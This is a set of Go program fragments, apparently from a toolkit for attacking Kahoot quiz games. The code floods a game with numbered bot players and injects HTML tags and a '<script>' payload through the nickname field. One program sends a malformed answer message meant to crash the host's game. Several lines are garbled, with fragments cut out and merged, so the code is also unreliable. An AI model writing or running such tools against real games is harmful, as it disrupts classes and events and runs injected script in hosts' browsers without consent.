func main() {
if len(os.Args) != 4 {
fmt.Fprintln(os.Stderr, "Usage: flood <game pin> <nickname prefix> <count>")
os.Exit(1)
}
gamePin, err := strconv.Atoi(os.Args[1])
if err != nil {
fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
os.Exit(1)
}
count, err := strconv.Atoi(os.Args[3])
if err != nil {
fmt.Fprintln(os.Stderr, "invalid count:", os.Args[3])
os.Exit(1)
}
nickname := os.Args[2]
for i := 0; i < count; i++ {
if conn, err := kahoot.NewConn(gamePin); err != nil {
fmt.Fprintln(os.Stderr, "failed to connect:", err)
os.Exit(1)
} else {
defer conn.GracefulClose()
conn.Login(nickname + strconv.Itoa(i+1))
}
}
fmt.Println("Kill this process to deauthenticate.")
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
}
func main() {
if len(os.Args) != 3 {
fmt.Fprintln(os.Stderr, "Usage: html <game pin> <nickname>")
os.Exit(1)
}
gamePin, err := strconv.Atoi(os.Args[1])
if err != nil {
fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
os.Exit(1)
}
nickname := os.Args[2]
for _, prefix := range []string{"<h1>", "<u>", "<h2>", "<marquee>", "<button>",
"<input>", "<pre>", "<textarea>"} {
if conn, err := kahoot.NewConn(gamePin); err != nil {
fmt.Fprintln(os.Stderr, "failed to connect:", err)
os.Exit(1)
} else {
defer conn.GracefulClose()
conn.Login(prefix + nickname)
}
}
fmt.Println("Kill this process to deauthenticate.")
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
}
func main() {
if len(os.Args) != 3 {
fmt.Fprintln(os.Stderr, "Usage: play <game pin> <nickname>")
os.Exit(1)
}
gamePin, err := strconv.Atoi(os.Args[1])
if err != nil {
fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
os.Exit(1)
}
nickname := os.Args[2]
conn, err := kahoot.NewConn(gamePin)
if err != nil {
fmt.Fprintln(os.Stderr, "failed to connect:", err)
os.Exit(1)
}
if err := conn.Login(nickname); err != nil {
fmt.Fprintln(os.Stderr, "failed to login:"******"Could not receive question:", err)
}
os.Exit(1)
}
if action.Type == kahoot.QuestionIntro {
fmt.Println("Awaiting answers...")
} else if action.Type == kahoot.QuestionAnswers {
fmt.Print("Answer (0 through " + strconv.Itoa(action.NumAnswers-1) + "): ")
answer := readNumberInput()
if err := quiz.Send(answer); err != nil {
fmt.Fprintln(os.Stderr, "Could not answer:", err)
os.Exit(1)
}
}
}
}
func floodHack(gamePin int, nickname string) bool {
log.Println("Flood hack:", gamePin, "with nickname", nickname)
for i := 0; i < 20; i++ {
conn, err := kahoot.NewConn(gamePin)
if err != nil {
return false
}
conn.Login(nickname + strconv.Itoa(i+1))
defer conn.Close()
}
return true
}
func htmlHack(gamePin int, nickname string) bool {
log.Println("HTML hack:", gamePin, "with nickname", nickname)
for _, prefix := range []string{"<h1>", "<u>", "<h2>", "<marquee>", "<button>",
"<input>", "<pre>", "<textarea>"} {
conn, err := kahoot.NewConn(gamePin)
if err != nil {
return false
}
defer conn.Close()
conn.Login(prefix + nickname)
}
return true
}
func runShortScript(gamePin int, script string, delay1, delay2 time.Duration) error {
conn, err := kahoot.NewConn(gamePin)
if err != nil {
return err
}
if err := conn.Login("<script>" + script + "//"); err != nil {
conn.GracefulClose()
return err
}
time.Sleep(delay1)
conn.GracefulClose()
time.Sleep(delay2)
return nil
}
func launchConnection(gamePin int, nickname string) {
defer wg.Done()
conn, err := kahoot.NewConn(gamePin)
if err != nil {
fmt.Fprintln(os.Stderr, "failed to connect:", err)
os.Exit(1)
}
closed := make(chan bool, 1)
closed <- false
go func() {
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
<-closed
closed <- true
conn.GracefulClose()
}()
if err := conn.Login(nickname); err != nil {
fmt.Fprintln(os.Stderr, "failed to login:"******"Could not receive question:", err)
os.Exit(1)
}
}
if action.Type == kahoot.QuestionAnswers {
quiz.Send(rand.Intn(action.NumAnswers))
}
}
}
func main() {
if len(os.Args) != 3 {
fmt.Fprintln(os.Stderr, "Usage: crash <game pin> <nickname>")
os.Exit(1)
}
gamePin, err := strconv.Atoi(os.Args[1])
if err != nil {
fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
os.Exit(1)
}
nickname := os.Args[2]
conn, err := kahoot.NewConn(gamePin)
defer conn.GracefulClose()
if err != nil {
fmt.Fprintln(os.Stderr, "failed to connect:", err)
os.Exit(1)
}
if err := conn.Login(nickname); err != nil {
fmt.Fprintln(os.Stderr, "failed to login:"******"/service/player")
if err != nil {
fmt.Fprintln(os.Stderr, "failed to receive player packet:", err)
os.Exit(1)
}
if data, ok := msg["data"].(map[string]interface{}); ok {
if contentStr, ok := data["content"].(string); ok {
var content map[string]interface{}
if json.Unmarshal([]byte(contentStr), &content) != nil {
continue
} else if _, ok := content["questionIndex"]; ok {
delayCount--
if delayCount == 0 {
break
}
}
}
}
}
fmt.Println("got question; crashing...")
content := kahoot.Message{"choice": 0, "meta": kahoot.Message{"lag": 1000, "device": "HACKS"}}
encodedContent, _ := json.Marshal(content)
msg := kahoot.Message{
"data": kahoot.Message{
"type": "message",
"gameid": gamePin,
"host": "kahoot.it",
"content": string(encodedContent),
"id": 6,
},
}
if err := conn.Send("/service/controller", msg); err != nil {
fmt.Fprintln(os.Stderr, "failed to send hack:", err)
}
time.Sleep(time.Second)
}